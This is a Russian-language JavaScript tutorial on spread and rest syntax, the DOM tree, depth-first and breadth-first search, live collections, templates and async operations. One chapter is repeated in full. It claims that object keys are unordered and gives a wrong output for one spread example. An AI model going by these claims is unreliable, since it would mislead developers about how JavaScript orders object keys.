Object.assign({ a:1 }, { b:2 }); // { a:1, b:2 }

({ a:1, ...{ b:2 }}); // { a:1, b:2 }
```

Круглые скобки нужны, чтобы JavaScript отличил объявление объекта от блока кода `{}`.

А вот в функцию передать такой объект не получится:

```
console.log(...{ a:1 }); // TypeError: ({a:1}) is not iterable
```

Чтобы понять почему, достаточно мысленно отбросить скобки — `console.log( a:1 )` — согласитесь, странный код.

Также не получится расширить массив содержимым объекта:

```
[1, 2, 3, ...{ a:0 }]; // TypeError: ({a:0}) is not iterable
```

А вот массивом расширить объект получится:

```
({ a:1, ...['b', 'c']}); // { 0:'b', 1:'c', a:1 }
```

▶ Попробуйте ответить «Почему?» самостоятельно, а после посмотрите ответ

Поэтому всегда, всегда учитывайте содержимое и место его вставки, когда используете spread-синтаксис.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 3 минуты

Глава 3.3. Отличия spread-синтаксиса от rest-параметров

Главный вопрос о rest-параметрах и spread-синтаксисе — это как отличить одно от другого, если в обоих случаях используется символ многоточие `...`

В этом поможет контекст, а по-русски — смысл. rest означает «оставшийся». Например «оставшиеся параметры функции»:

```
function doAll (a, b, ...rest) {}

doAll(1, 2, 3, 4); // В rest будет [3, 4]
```

Или «оставшиеся ключи объекта» при деструктуризации:

```
const {a, b, ...rest} = { a:1, b:2, c:3, d:4 }; // В rest будет { c:3, d:4 }
```

А spread означает «расширить», «распустить». Например, мы хотим «распустить элементы массива», чтобы они стали аргументами функции:

```
function doAll (a, b, c) {}

doAll(...[1, 2, 3]);
```

Или когда мы хотим «расширить один массив элементами другого»:

```
[1, ...[2, 3]]; // [1, 2, 3]
```

Нюансы использования

rest-параметры

Здесь ничего нового, rest-параметры всегда должны идти последними и могут быть только одни. Никаких других нюансов.

spread-синтаксис

А вот здесь нужно быть внимательнее. Первое, что отличает синтаксис расширения от rest-параметров, что он не обязательно должен идти последним:

```
[1, ...[2, 3], 4]; // [1, 2, 3, 4]
```

Также можно использовать spread столько раз, сколько захочется, и с вложениями:

```
[1, ...[2, 3], 4, ...[5, ...[6, 7]]]; // [1, 2, 3, 4, 5, 6, 7]
```

А можно составить массив только из spread-синтаксиса:

```
[...[1, 2, 3], ...[4, 5], ...[6, 7]]; // [1, 2, 3, 4, 5, 6, 7]
```

Только нужно помнить, что в случае с массивом, где будет spread, туда элементы и вставятся:

```
[...[2, 3], 1, 4]; // [2, 3, 1, 4]
```

Потому что в массиве элементы упорядочены по индексам. А в случае с объектом такой проблемы нет, потому что пары ключ-значение в объектах не упорядочены:

```
({ ...{ c:3, b:2 }, a:1}); // { a:1, b:2, c:3 }
```

Кстати, порядок по алфавиту тоже не гарантирован, каждый браузер может выстраивать пары в угодном одному ему порядке. Единственное, что гарантируется, что все указанные ключи будут присутствовать.

Резюме

spread-синтаксис и rest-параметры помогают очень быстро вытаскивать отдельные значения из списков или, наоборот, быстро создавать новые списки на основе других списков. spread-синтаксис к тому же мощный инструмент, который применим шире, чем `.concat()` и `Object.assign()`, а ещё он лаконичнее, за что полюбился многим фронтенд-разработчикам и встречается повсеместно.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 5 минут

Глава 4.1. Что такое DOM

DOM (Document Object Model) — это объектная модель документа. Разберём определение по частям:

- Объектная — потому что состоит из объектов;
- Модель — слово в прямом своём значении;
- Документ — имеется в виду веб-страница.

Для примера возьмём простую HTML-страницу:

```
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>DOM</title>
    </head>
    <body>
        <h1>Document Object Model</h1>
        <p>DOM <em>(объектная модель документа)</em> — способ представления разметки страницы в виде связанных между собой объектов</p>
        <p>Каждому элементу на странице — тегу, текстовому блоку, комментарию — в JS ставится в соответствие объект</p>
        <p>Каждый из объектов знает про свой родительский объект, соседние объекты и объекты, расположенные внутри него</p>
        <p>Главный объект, из которого начинают «расти» все остальные элементы DOM-дерева — document.</p>
    </body>
</html>
```

Проблема в том, что браузер понимает HTML, а JavaScript — нет. И чтобы управлять разметкой из JavaScript, например для добавления интерактивности на страницу, нам нужен специальный инструмент. Этим инструментом является DOM.

Образно выражаясь, DOM следует воспринимать как некий словарь для JavaScript к HTML-разметке веб-страницы. DOM описывает HTML-структуру объектами JS (теми самыми, которые в фигурных скобках). То есть всю нашу страницу можно представить в виде объекта `document`. В `document` есть ключ `documentElement`, который соответствует корневому элементу документа — тегу `html`. В `documentElement` лежит `head`, `body` и так далее.

```
const document = {
    documentElement: {
        head: { /*...*/ },
        body: {
            h1: { /*...*/ },
            p: { /*...*/ },
            p: { /*...*/ },
            p: { /*...*/ },
        }
    }
}
```

И тогда доступ к элементу объекта возможен по ключу. Например, к заголовку `h1` по пути `document.documentElement.body.h1`.

Следует помнить, что DOM — это не просто точное отражение разметки, а *сверхточное*, содержащее массу полезных вещей, которые позволяют программисту удобно работать с разметкой.

К таким удобным инструментам в DOM относятся ссылки для быстрого доступа. Например, чтобы получить доступ к узлу `body`, не обязательно обращаться `document.documentElement.body`, а можно сразу — `document.body`. Так же можно поступить, например, с формами — в ключе `document.forms` будут собраны все формы на странице. И таких ссылок для быстрого доступа существует множество.

Однако в DOM присутствуют не только теги. Например, после тега `body` есть перенос строки и табуляция в 4 пробела. Вспомним, как мы пишем код:

- открываем тег `<body>`,
- далее нажимаем клавишу [ENTER] для переноса строки,
- далее в новой строке нажимаем клавишу [TAB] для отступа,
- и далее, например, открываем тег `<h1>`,
- затем, перенос строки, табуляция,
- и, к примеру, в `<h1>` кладём ссылку `<a>`...

```
<body>↵
    <h1>↵
        <a href="#" target="_blank">Ссылка</a>
```

С тегом `<a>` тоже всё непросто. У него заданы атрибуты `href` и `target`, а ещё есть содержимое — текст. Поэтому с точки зрения DOM ссылка — это отдельный объект. Кстати, так бывает не всегда. Любой тег может быть представлен как примитив, а может как объект. Потому что DOM экономный.

Теги образуют узлы-элементы, а текст внутри тега образует текстовый узел. Переносы строки, пробелы и табуляция — всё это полноправные текстовые узлы. Даже комментарий является элементом DOM. И вообще всё, что есть в HTML — есть в DOM. Таким образом, HTML-разметка в веб-странице является основой для формирования первоначального, исходного состояния DOM.

Вернёмся к примеру с ссылкой. У неё есть адрес, куда она ведёт, и текст. Это как минимум. Помимо этого там может быть набор атрибутов, например «открыться в новом окне» или «не следить за мной» и так далее. Всё это превратится в поля объекта:

```
{
    /*...*/
    a: {
        href: '#',
        target: '_blank',
        textContent: 'Ссылка'
    }
    /*...*/
}
```

Резюме

DOM — это огромный объект, который имеет древовидную структуру. Часто можно встретить выражение — DOM-дерево.

Теория ~ 5 минут

Глава 4.1. Что такое DOM

DOM (Document Object Model) — это объектная модель документа. Разберём определение по частям:

- Объектная — потому что состоит из объектов;
- Модель — слово в прямом своём значении;
- Документ — имеется в виду веб-страница.

Для примера возьмём простую HTML-страницу:

```
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>DOM</title>
    </head>
    <body>
        <h1>Document Object Model</h1>
        <p>DOM <em>(объектная модель документа)</em> — способ представления разметки страницы в виде связанных между собой объектов</p>
        <p>Каждому элементу на странице — тегу, текстовому блоку, комментарию — в JS ставится в соответствие объект</p>
        <p>Каждый из объектов знает про свой родительский объект, соседние объекты и объекты, расположенные внутри него</p>
        <p>Главный объект, из которого начинают «расти» все остальные элементы DOM-дерева — document.</p>
    </body>
</html>
```

Проблема в том, что браузер понимает HTML, а JavaScript — нет. И чтобы управлять разметкой из JavaScript, например для добавления интерактивности на страницу, нам нужен специальный инструмент. Этим инструментом является DOM.

Образно выражаясь, DOM следует воспринимать как некий словарь для JavaScript к HTML-разметке веб-страницы. DOM описывает HTML-структуру объектами JS (теми самыми, которые в фигурных скобках). То есть всю нашу страницу можно представить в виде объекта `document`. В `document` есть ключ `documentElement`, который соответствует корневому элементу документа — тегу `html`. В `documentElement` лежит `head`, `body` и так далее.

```
const document = {
    documentElement: {
        head: { /*...*/ },
        body: {
            h1: { /*...*/ },
            p: { /*...*/ },
            p: { /*...*/ },
            p: { /*...*/ },
        }
    }
}
```

И тогда доступ к элементу объекта возможен по ключу. Например, к заголовку `h1` по пути `document.documentElement.body.h1`.

Следует помнить, что DOM — это не просто точное отражение разметки, а *сверхточное*, содержащее массу полезных вещей, которые позволяют программисту удобно работать с разметкой.

К таким удобным инструментам в DOM относятся ссылки для быстрого доступа. Например, чтобы получить доступ к узлу `body`, не обязательно обращаться `document.documentElement.body`, а можно сразу — `document.body`. Так же можно поступить, например, с формами — в ключе `document.forms` будут собраны все формы на странице. И таких ссылок для быстрого доступа существует множество.

Однако в DOM присутствуют не только теги. Например, после тега `body` есть перенос строки и табуляция в 4 пробела. Вспомним, как мы пишем код:

- открываем тег `<body>`,
- далее нажимаем клавишу [ENTER] для переноса строки,
- далее в новой строке нажимаем клавишу [TAB] для отступа,
- и далее, например, открываем тег `<h1>`,
- затем, перенос строки, табуляция,
- и, к примеру, в `<h1>` кладём ссылку `<a>`...

```
<body>↵
    <h1>↵
        <a href="#" target="_blank">Ссылка</a>
```

С тегом `<a>` тоже всё непросто. У него заданы атрибуты `href` и `target`, а ещё есть содержимое — текст. Поэтому с точки зрения DOM ссылка — это отдельный объект. Кстати, так бывает не всегда. Любой тег может быть представлен как примитив, а может как объект. Потому что DOM экономный.

Теги образуют узлы-элементы, а текст внутри тега образует текстовый узел. Переносы строки, пробелы и табуляция — всё это полноправные текстовые узлы. Даже комментарий является элементом DOM. И вообще всё, что есть в HTML — есть в DOM. Таким образом, HTML-разметка в веб-странице является основой для формирования первоначального, исходного состояния DOM.

Вернёмся к примеру с ссылкой. У неё есть адрес, куда она ведёт, и текст. Это как минимум. Помимо этого там может быть набор атрибутов, например «открыться в новом окне» или «не следить за мной» и так далее. Всё это превратится в поля объекта:

```
{
    /*...*/
    a: {
        href: '#',
        target: '_blank',
        textContent: 'Ссылка'
    }
    /*...*/
}
```

Резюме

DOM — это огромный объект, который имеет древовидную структуру. Часто можно встретить выражение — DOM-дерево.

Теория ~ 4 минуты

Глава 4.2. DOM-дерево

Дерево — это структура. Такое название структуре дано не зря, она действительно напоминает дерево, только перевёрнутое: корень вверху, от корня вниз идут ветки и листья. Каждая часть дерева называется элементом, а в DOM-дереве элемент называется узлом. То есть **узел** — это абсолютно любой элемент дерева.

Узлы бывают родителями — когда у них есть дочерние узлы. И узлы бывают детьми — это узлы, у которых есть родитель.

Продолжая аналогию: у дерева и корень, и ветки, и листья — это узлы. Для тех веток, которые растут прямо из ствола, ствол — это родитель, с другой стороны для ствола ветка — это ребёнок. И такая иерархическая структура идёт от корня до листьев.

Почти все узлы могут быть одновременно и родителями и детьми. Почти, потому что есть такие узлы, как корень и листья. Корень — это тот элемент, с которого начинается дерево. То есть, выше корня ничего нет, и у корня нет родителя. Соответственно, каждый элемент, за исключением корня, имеет одного родителя. А лист — это узел, у которого нет детей. Соответственно, каждый узел, кроме листа, имеет любое количество детей.

> Корень — это узел, у которого есть только потомки, лист — это узел, у которого есть только родитель.

Важные моменты

- Корень может быть только один.
- Родитель может быть только один.

У DOM-дерева корень — это `document`. Узел `html` не может являться корнем, потому что DOM-дерево содержит, кроме тегов, и отступы, и табуляции, и комментарии и так далее. И на одном уровне с `html` могут оказаться ещё узлы, а корень может быть только один, поэтому корень — это `document`. Для примера возьмём такую разметку:

```
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
    </head>
    <body>
    </body>
</html>
```

У каждого узла, представленного объектом, есть свойство `parentElement`, которое содержит информацию о родителе элемента.

```
console.log(document.parentElement); // null
```

Потому что у корня не может быть родителей. В свойстве `children` записаны дочерние элементы узла:

```
console.log(document.children); // documentElement — в DOM дочерний элемент document называется
не html, а именно documentElement
// Остальные DOM-узлы называются так же, как и теги в HTML
```

Свойство `children` можно воспринимать как массивоподобную коллекцию детей, а значит мы можем написать код, который будет перебирать всех детей и выводить в консоль структуру.

Чтобы узнать имя текущего элемента, нужно обратиться к свойству `tagName` или `nodeName`.
По соглашению, для HTML-документов имя тега всегда возвращается в верхнем регистре, поэтому важно не забывать приводить к общему написанию с помощью метода строки `toLowerCase`.

Выведем структуру узла `html`, включая все дочерние элементы, на примере такой страницы:

```
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
    </head>
    <body>
        <h1>Document Object Model</h1>
    </body>
</html>
```

Скрипт для вывода структуры узла `html` будет иметь следующий вид:

```
const html = document.documentElement;
for (let i = 0; i < html.children.length; i++) {
    const child = html.children[i];
    console.log(child.tagName.toLowerCase());
    for (let j = 0; j < child.children.length; j++) {
        const innerChild = child.children[j];
        console.log('|---' + innerChild.tagName.toLowerCase());
    }
}
```

Скрипт в цикле перебирает все дочерние элементы HTML-узла — `documentElement.children`. У каждого ребёнка в свою очередь перебирает его дочерние элементы и выводит имена тегов, приведённые к нижнему регистру.

Результат будет иметь следующий вид:

```
head
  |---meta
body
  |---h1
```

Теория ~ 4 минуты

Глава 4.3. Поиск в деревьях

В HTML все элементы, кроме `document`, являются вложенными: `head` и `body` вложены в `document`, элементы списка `li` могут быть вложены в элемент нумерованного списка `ol` или неупорядоченного списка `ul`. Структура, которую представляет HTML-документ, а соответственно и DOM, является деревом.

Когда возникает необходимость найти элемент в древовидной структуре, сделать это можно двумя способами:

1. Поиск в глубину (DFS — Depth-First Search)
2. Поиск в ширину (BFS — Breadth-First Search)

Хотя в JavaScript для поиска элемента используется первый способ — поиск в глубину, знать оба полезно.

Для разбора каждого из подходов возьмём следующую древовидную структуру, которая представляет HTML-документ. Соответственно, каждый узел — это HTML-элемент.

Рисунок 1. Схема DOM-дерева

Допустим, наша задача — найти ссылку, то есть HTML-элемент `a`. И поиск в глубину, и поиск в ширину начинается с узла `document`. В `document` мы найдём единственного ребёнка — узел `html`. Так как ни `document`, ни `html` ссылками не являются, мы идём дальше и находим не один, а нескольких дочерних элементов. Разница между поиском в глубину и поиском в ширину заключается в том, каким образом мы продолжим поиск.

Поиск в глубину

Мы находим одного из детей `html` — элемент `head`. Нам опять не повезло найти ссылку, поэтому пойдём вглубь, то есть в единственного ребёнка `head` — элемент `title`. `Title` также не соответствует требованиям поиска, и к тому же не имеет дочерних элементов.

Рисунок 2. Поиск в глубину

Мы упёрлись в тупик. Самое время вернуться назад, в `html`, и пойти по второму доступному пути — в элемент `body`. Далее, по такой же цепочке, мы найдём элементы `h1` и, наконец, `a`.

Рисунок 3. Поиск в глубину, продолжение

Когда имеется несколько доступных путей поиска, при поиске в глубину мы исследуем каждый из них до тех пор, пока не сталкиваемся с тупиком. Из тупика мы возвращаемся на последнюю развилку, исследуем её и так далее.

Поиск в ширину

Теперь попробуем снова найти ссылку, но уже используя поиск в ширину. Вспомним, что начинаем мы из `document`, проваливаемся в `html` и сталкиваемся с распутьем.

В отличие от поиска в глубину, поиск в ширину сначала проверит всех детей элемента `html`, то есть `head` и `body`, на соответствие элементу-ссылке. Не найдя то, что ищет, он пойдёт в их непосредственно дочерние элементы и проверит их. Данный паттерн, проверка слой за слоем — это принцип работы поиска в ширину.

Рисунок 4. Поиск в ширину

Резюме

Поиск в глубину и поиск в ширину — два подхода к обходу древовидных структур. Первый находит узел и проваливается в него, даже если у него есть соседи, которых можно проверить. Поиск в ширину, с другой стороны, сначала проверит все узлы одного уровня, и лишь затем будет спускаться в их непосредственных детей. JavaScript для обхода DOM использует поиск в глубину.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 5 минут

Глава 4.4. Живые и неживые коллекции в JavaScript

Найти несколько DOM-элементов и получить к ним доступ из JavaScript можно разными способами: `querySelectorAll`, `getElementsByTagName`, `children` и так далее. В итоге в каждом случае будет возвращена коллекция — сущность, которая похожа на массив объектов, но при этом им не является, на самом деле это набор DOM-элементов. Стоит учесть, что фактически разные методы возвращают разные коллекции:

- `HTMLCollection` — коллекция непосредственно HTML-элементов.
- `NodeList` — коллекция узлов, более абстрактное понятие. Например, в DOM-дереве есть не только узлы-элементы, но также текстовые узлы, узлы-комментарии и другие, поэтому `NodeList` может содержать другие типы узлов.

При работе с DOM-элементами тип коллекции значительной роли не играет, поэтому для удобства будем рассматривать их как одну сущность — коллекцию.

Во время работы с коллекциями можно столкнуться с поведением, которое покажется странным, если не знать один нюанс — они бывают живыми (динамическими) и неживыми (статическими). То есть либо реагируют на любое изменение DOM, либо нет. Вид коллекции зависит от способа, с помощью которого она получена. Рассмотрим на примере.

Разница между живыми и неживыми коллекциями

Допустим, в разметке есть список книг:

```
<ul class="books">
    <li class="book book--one"></li>
    <li class="book book--two"></li>
    <li class="book book--three"></li>
</ul>
```

Для взаимодействия с книгами получим с помощью JavaScript список всех нужных элементов. Чтобы в дальнейшем увидеть разницу между видами коллекций, используем разные способы поиска элементов — свойство `children` и метод `querySelectorAll`:

```
const booksList = document.querySelector(`.books`);
const liveBooks = booksList.children;

// Выведем все дочерние элементы списка .books
console.log(liveBooks);
```

```
const notLiveBooks = document.querySelectorAll(`.book`);

// Выведем коллекцию, содержащую все элементы с классом book
console.log(notLiveBooks);
```

Пока никакой разницы не видно. В обоих случаях console.log выведет одни и те же элементы. Но что, если попробовать удалить из DOM одну из книг?

```
const booksList = document.querySelector(`.books`);
const liveBooks = booksList.children;

// Удалим первую книгу
liveBooks[0].remove();
// Получим 2
console.log(liveBooks.length);
// Получим элемент book--two, который теперь стал первым в коллекции
console.log(liveBooks[0]);
```

```
const notLiveBooks = document.querySelectorAll(`.book`);

// Удалим первую книгу
notLiveBooks[0].remove();
// Получим 3
console.log(notLiveBooks.length);
// Получим ссылку на удалённый элемент book--one
console.log(notLiveBooks[0]);
```

В первом случае информация о количестве элементов внутри коллекции автоматически обновилась после удаления одного элемента из DOM — эта коллекция живая. Во втором случае в переменной `notLiveBooks` хранится первоначальное состояние коллекции, которое было актуально на момент вызова метода `querySelectorAll`. Эта коллекция неживая, она ничего не знает об изменении DOM. При этом доступна ссылка на удалённый элемент `book--one`, которого фактически больше нет в DOM.

Другие способы получить коллекцию

Кроме `children` и `querySelectorAll` есть другие способы поиска DOM-элементов:

- `getElementsByTagName(tag)` — находит все элементы с заданным тегом,
- `getElementsByClassName(className)` — находит все элементы с заданным классом,
- `getElementsByName(name)` — находит все элементы с заданным атрибутом name.

Все эти методы могут встречаться в старом коде. Они возвращают живые коллекции и используются реже, потому что в большинстве случаев возможности живых коллекций не пригождаются. К тому же `querySelectorAll` в разы удобнее использовать из-за его универсальности.

Как использовать

Для решения большинства задач можно ограничиться неживыми коллекциями. Но если нужно сохранить ссылку на реальное состояние DOM — понадобится живая коллекция. Это удобно в тех случаях, когда программе нужно постоянно манипулировать списком элементов, которые могут регулярно удаляться и добавляться. Хороший пример — задачи в системе учёта задач. С помощью живой коллекции можно хранить именно те задачи, которые фактически существуют в данный момент времени.

Структура и некоторые свойства коллекции имеют много общего с массивом. Например, у неё тоже есть свойство `length`, и элементы коллекции можно перебирать в цикле `for...of`, потому что это перечисляемая сущность. Но, как упоминалось ранее, коллекции не во всём похожи на обычные массивы. С коллекциями не работают такие методы массивов, как `push`, `splice` и другие. Для их использования нужно преобразовать коллекцию в массив — например, с помощью метода `Array.from`:

```
const booksList = document.querySelector(`.books`);
const books = booksList.children;

// Выведет обычный массив с элементами из коллекции books
console.log(Array.from(books));
```

При этом нужно помнить — массив статичен, поэтому при таком преобразовании теряются преимущества живых коллекций.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 4 минуты

Глава 4.5. DOM и разметка

Любое изменение, которое мы вносим в DOM, не является изменением разметки сайта. DOM может изменяться путём воздействия на него через JavaScript; либо же пользователем, путём взаимодействия с интерфейсом. Рассмотрим на примере: допустим, у нас на странице есть форма с двумя флажками, один из которых заранее отмечен:

```
<form>
    <label>
        <input type="checkbox" name="someCheckbox" value="1" checked>
        First checkbox
    </label>
    <label>
        <input type="checkbox" name="someCheckbox" value="2">
        Second checkbox
    </label>
</form>
```

Рисунок 1. Форма с двумя флажками

На данной странице пользователь может каким-либо образом изменять значение данных флажков. Допустим, пользователь снял отметку с первого чекбокса и поставил во втором:

Рисунок 2. Выбран другой флажок

При сохранении или отправке формы мы хотим узнать значение чекбокса, который отметил пользователь, для этого мы можем попробовать использовать следующий код, для того, чтобы найти чекбокс с нужным именем и атрибутом `checked`:

```
document.querySelector(`input[name="someCheckbox"][checked]`).value;
```

Однако, это неверно — когда пользователь взаимодействует с разметкой, используя элементы управления, то он изменяет DOM. То же самое мы можем делать из JavaScript. А в селекторе, который используется в коде выше, идёт привязка к разметке, и в данной ситуации такой селектор вернёт первое поле ввода, так как только у первого поля ввода в разметке присутствует атрибут `checked`:

```
> document.querySelector('input[name="someCheckbox"][checked]').value
<· "1"
```

Рисунок 3. Поиск выбранного флажка

Чтобы такого не происходило, мы можем использовать псевдоклассы (как в CSS):

```
document.querySelector(`input[name="someCheckbox"]:checked`).value;
```

Тогда селектор найдёт поле ввода, которое выбрано на данный момент:

```
> document.querySelector('input[name="someCheckbox"]:checked').value
<· "2"
```

Рисунок 4. Поиск элемента в DOM

Помните, что любая манипуляция с DOM не меняет разметку. В этом плане ввести в заблуждение могут инструменты разработчика. Если проинспектировать страницу, то во вкладке «Elements» можно увидеть, казалось бы, разметку:

Рисунок 5. Вкладка Elements

Однако на самом деле это DOM, просто браузер помогает нам смотреть на DOM, как на разметку. Чтобы увидеть разметку, нужно из контекстного меню на странице выбрать пункт «View Page Source»:

Рисунок 6. Открыть исходный код страницы

Тогда в открывшемся окне мы увидим разметку:

```
1  <!DOCTYPE html>
2  <html lang="en">
3  <head>
4      <meta charset="UTF-8">
5      <title>Title</title>
6  </head>
7  <body>
8  <form action="">
9      <label>
10         <input type="checkbox" name="someCheckbox" value="1" checked>
11         First checkbox
12     </label>
13     <label>
14         <input type="checkbox" name="someCheckbox" value="2">
15         Second checkbox
16     </label>
17 </form>
18 </body>
19 </html>
```

Рисунок 7. Исходный код страницы

Разметка для DOM — это начальное состояние, то есть то состояние, которое появляется после загрузки страницы. После этого в ход вступают пользователь, JavaScript, какие-либо сторонние библиотеки, и DOM может измениться и уже не соответствовать разметке.

Теория ~ 5 минут

Глава 4.6. Шаблоны и данные

Начнём с определений. **Шаблон** — некоторая оболочка для данных, разметка, любой способ отобразить информацию. Шаблон никогда не несёт содержательной информации.

Данные — информация, которую вводит пользователь, присылает сервер или которая может быть сгенерирована компьютером.

Данные не должны повторять шаблон, они должны описывать параметры сущностей, которыми мы оперируем. Простой способ отделить шаблон от данных — попробовать изменить одно или другое.

Например, использовать иной способ отображения данных (отобразить товары в линейку вместо списка) или изменить отображаемую информацию (описать не утюг, а пылесос). Допустим, у нас есть структура, описывающая логотип:

```
const header = {
    logo: {
        src: `logo.png`,
        width: 100,
        height: 30
    }
};
```

С первого взгляда можно подумать, что это данные, однако, такую информацию неправильно хранить как данные. Эта информация описывает логотип, расположенный в шапке, она не приходит с сервера, не вводится пользователем, возможно, эта информация никогда не поменяется. Поэтому данная информация не является данными — это шаблон, который описывает, как некоторая сущность должна выглядеть. Данными могут быть: название компании, адрес, телефон и тому подобное.

Зачем отделять данные и шаблоны

Допустим, что у нас есть список некоторых продуктов интернет-магазина:

```
const products = [
    {name: `Утюг`},
    {name: `Чайник`},
    {name: `Пылесос`},
    {name: `Стиральная машина`},
    {name: `Кухонный комбайн`},
    {name: `Автомобиль`}
];
```

Дизайнер говорит нам, что в интерфейсе мы должны для некоторых пользователей показывать товары списком, а для других (кто хочет) сеткой. Неужели нам придётся заводить два одинаковых списка продуктов? Нет! Как раз список продуктов, приведённый выше, является данными, а способы показа товаров являются шаблоном.

Данные не должны меняться в зависимости от того, каким образом они должны отображаться. Шаблон отвечает за то, куда вставить данные — в элемент списка или элемент сетки.

Создание DOM элементов

DOM-элементы можно создать несколькими способами:

- **На основе разметки** — в специальные места разметки в тексте разметки подставляются данные;
- **На основе строк;**
- **Компилируемые шаблоны** — использование сторонних библиотек, способных переводить некоторый язык в разметку;
- **На основе DOM-API**:
  - На основе шаблонного элемента (`template` из WebComponents);
  - С помощью обёрток над шаблонами (Incremental DOM).

Рассмотрим разделение на шаблон и данные на примере. Допустим, у нас на странице есть следующий блок, показывающий нескольких волшебников:

Рисунок 1. Несколько волшебников

Как можно заметить, волшебники выглядят однотипно, то есть способ их отображения един и не меняется. Однако, некоторые параметры у них отличаются: имя и цвет мантии.

В данном примере разметка для каждого из волшебников является шаблоном и не несёт в себе информации, а лишь служит обёрткой для отображения данных. Разметка для каждого из волшебников (шаблон) имеет следующий вид:

```
<template id="similar-wizard-template">
  <div class="setup-similar-item">
    <div class="setup-similar-content">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 62 86" class="setup-similar-wizard">
        <g class="wizard">
          <use xlink:href="#wizard-coat" class="wizard-coat"></use>
          <use xlink:href="#wizard-head" class="wizard-head"></use>
          <use xlink:href="#wizard-eyes" class="wizard-eyes"></use>
          <use xlink:href="#wizard-hands" class="wizard-hands"></use>
        </g>
      </svg>
    </div>
    <p class="setup-similar-label"></p>
  </div>
</template>
```

В данном шаблоне нет конкретных данных, лишь способ отображения. В данный шаблон в нужные места можно подставить данные, нужные нам. Данные для нашего примера будут иметь следующий вид:

```
const wizards = [
    {
        name: `Дамблдор`,
        coatColor: `rgb(241, 43, 107)`
    },
    {
        name: `Волдеморт`,
        coatColor: `rgb(215, 210, 55)`
    },
    {
        name: `Доктор`,
        coatColor: `rgb(101, 137, 164)`
    },
    {
        name: `Гарри`,
        coatColor: `rgb(127, 127, 127)`
    }
];
```

Как видно, данные описывают параметры, изменяющиеся у различных волшебников.

Резюме

Важно уметь выделять данные и шаблоны. К данным можно отнести ту информацию, которая не влияет на способ отображения, соответственно, к шаблонам нужно отнести то, что описывает, как некоторые однотипные элементы могут быть отображены.

Простой способ отделить шаблон от данных — попробовать заменить их: изменить способ отображения данных или отображаемую информацию.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 4 минуты

Глава 5.1. Синхронные и асинхронные операции

Когда рассказывают про программы и алгоритмы, их часто сравнивают с инструкциями, написанными для человека. Например, вот так выглядит инструкция по приготовлению каши:

1. Насыпал кашу.
2. Включил плиту.
3. Помешиваю, помешиваю, помешиваю кашу.
4. Каша готова.

Или схематично:

Рисунок 1. Синхронное приготовление завтрака

Человек, следующий этой инструкции, будет выполнять её пункты по очереди. Начнёт с первого пункта, завершив его, перейдёт ко второму, и так далее. Однако, есть кашу всухомятку довольно грустно, поэтому добавим к ней чай. В синхронной схеме чай мы приготовим после того, как каша будет готова:

3. ...
4. Каша готова.
5. Налил воду в чайник.
6. Поставил чайник на плиту.
7. Дождался, пока вода закипит.
8. Залил чай кипятком.
9. Подождал, пока чай заварится.
10. Чай готов.

Что можно сказать про эту инструкцию? Ну, во-первых, она действительно позволяет приготовить завтрак. Во-вторых, человеку, который решит ей воспользоваться, придётся встать пораньше, если он рассчитывает успеть на работу. Инструкция довольно долгая. Сначала нужно дождаться, пока приготовится каша, потом — пока вскипит чайник. Да и к моменту, когда чай будет готов, каша наверняка уже остынет. Разумно ли это? Конечно же, нет! Заменим кастрюлю на мультиварку, и чайник на электрический, тогда ждать понадобится намного меньше, потому что готовить можно одновременно.

Перепишем инструкцию с учётом новой техники:

1. Насыпал кашу.
2. Включил мультиварку.
3. Налил воды в чайник.
4. Включил чайник.
5. Приготовил тосты.
6. Накрыл на стол.
7. ...

Рисунок 2. Асинхронное приготовление завтрака

В этом случае пока каша готовится, мы успеем накрыть на стол. Пока мы накрываем на стол, вероятно, закипит чайник — мы сможем заварить чай, а тут и каша готова. Приятного аппетита.

Рисунок 3. Асинхронное приготовление завтрака (завершение)

Согласитесь, оптимальная схема, и поспать с утра можно подольше. Однако мы незаметно отказались от одного свойства, которым обладала предыдущая инструкция — от последовательности.

Мы не можем знать наверняка, что мультиварка подаст сигнал раньше, чем чайник вскипит. Обратное тоже с уверенностью утверждать нельзя. Скорее всего, каша будет готовиться дольше, но может случиться по-всякому. Вдруг у исполнителя очень мощная мультиварка и очень старый чайник. А значит — мы не знаем, в каком порядке и когда завершится то или иное действие.

Второе важное различие: за приготовлением каши в кастрюле целиком и полностью следим мы, и только мы решаем, когда каша будет готова. В случае с мультиваркой готовность каши зависит от некоего внешнего фактора (мультиварки).

Если говорить на программистском языке, приготовление каши в кастрюле — череда синхронных операций. Синхронные операции производятся одна за другой в предсказуемом порядке. А приготовление каши в мультиварке включает в себя асинхронную операцию. Особенность асинхронных операций, что мы не можем предугадать, в каком порядке они завершатся и сколько времени займёт каждая.

«Но какое это имеет отношение к веб-программированию?» — спросит нетерпеливый читатель. Самое прямое: браузер — это тоже мультиварка. Разумеется, в переносном смысле. Браузер не умеет варить овсяную кашу (по крайней мере, текущие веб-стандарты этого не предусматривают), зато он умеет выполнять асинхронные операции.

Мы даём ему команду загрузить файл, но не знаем, в какой момент произойдёт загрузка. Мы создаём на странице кнопку, но неизвестно, когда пользователь на неё нажмёт. Точно так же, как и при варке каши, мы можем отдать команду и заниматься своими делами. И когда всё будет готово, браузер подаст сигнал — опять же, совсем как мультиварка.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 7 минут

Глава 5.2. Функции обратного вызова (колбэки)

При изучении программирования мы привыкаем мыслить последовательно: строки кода выполняются по порядку. Для многих языков это утверждение верно на 100%, но всё начинает меняться, когда речь заходит про асинхронное программирование. Самым простым и часто используемым способом достижения асинхронности в коде являются колбэки. Это одна из важнейших тем программирования на JavaScript, ни одна более-менее серьёзная программа не обойдётся без применения колбэк-функций.

▶ Ещё раз, что такое колбэк-функция, если забыли

Как писать код для колбэков

